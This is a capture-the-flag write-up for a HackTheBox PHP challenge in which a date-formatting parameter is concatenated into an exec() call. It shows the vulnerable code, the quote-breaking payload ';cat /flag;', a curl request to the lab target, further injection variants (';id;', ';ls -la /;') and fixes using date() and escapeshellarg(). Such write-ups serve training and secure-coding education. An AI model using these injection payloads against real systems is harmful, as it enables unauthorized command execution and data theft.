$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: PHP web app with date command. Solution: OS command injection via single quote escape in exec() call, breaking out of quoted shell argument to read /flag.
"Are you ready to unravel the mysteries and expose the truth hidden within KROP's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine."
Target: http://154.57.164.74:30639
Downloaded and extracted the archive with the task source code. Structure — PHP MVC application:
| File | Purpose |
|---|---|
TimeModel.php | Model — builds and executes shell command date |
TimeController.php | Controller — accepts GET parameter format |
index.php | Entry point |
Router.php | Routing |
Dockerfile | Shows flag location: /flag |
challenge/models/TimeModel.php — command is built via concatenation:
<?php class TimeModel { public function __construct($format) { $this->command = "date '+" . $format . "' 2>&1"; } public function getTime() { $time = exec($this->command); $res = isset($time) ? $time : '?'; return $res; } }
challenge/controllers/TimeController.php — user input is passed without filtering:
<?php class TimeController { public function index($router) { $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S'; $time = new TimeModel($format); return $router->view('index', ['time' => $time->getTime()]); } }
GET /?format=PAYLOAD
→ TimeController: $format = $_GET['format'] (no sanitization)
→ TimeModel: "date '+" . $format . "' 2>&1" (concatenation into shell command)
→ exec($this->command) (execution via shell)
Problem: GET parameter format is directly concatenated into the shell command string passed to exec(). Although user input is placed inside single quotes ('), this is not a protection — it's enough to close the quote and insert an arbitrary command.
Command template:
date '+FORMAT' 2>&1
Payload: ';cat /flag;'
After substitution the command becomes:
date '+';cat /flag;'' 2>&1
Breakdown:
date '+' — executes date with empty format (harmless); — command separatorcat /flag — reading the flag;'' — empty string, absorbs the remaining closing quotecurl -s "http://154.57.164.74:30639/?format=%27%3Bcat+/flag%3B%27"
URL-encoding of payload:
' → %27; → %3B+The flag was returned in the HTML response.
# Original command: date '+FORMAT' 2>&1 # Payload to escape quotes: ';COMMAND;' # Close quote, execute command, open empty quote '$(COMMAND)' # DOES NOT WORK — $() is not expanded inside single quotes '+COMMAND+' # DOES NOT WORK — no quote escape # Working variants: ';id;' # → date '+';id;'' 2>&1 ';cat /flag;' # → date '+';cat /flag;'' 2>&1 ';ls -la /;' # → date '+';ls -la /;'' 2>&1
| Dangerous | Safe |
|---|---|
exec("date '+$format'") | date($format) — built-in PHP function |
system("ping $host") | escapeshellarg($host) + exec() |
| Concatenation into shell string | proc_open() with argument array |
<?php // CORRECT: use built-in PHP date() function class TimeModel { public function __construct($format) { $this->format = $format; } public function getTime() { // Safe: no shell call return date($this->format); } } // If shell call is necessary: class TimeModelSafe { public function __construct($format) { // escapeshellarg() wraps in quotes AND escapes special characters $safe = escapeshellarg('+' . $format); $this->command = "date " . $safe . " 2>&1"; } public function getTime() { $time = exec($this->command); return isset($time) ? $time : '?'; } }
Key principles:
date() in PHP instead of exec("date ...")escapeshellarg() when passing user input to shell%H, %M, %S, etc.)$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar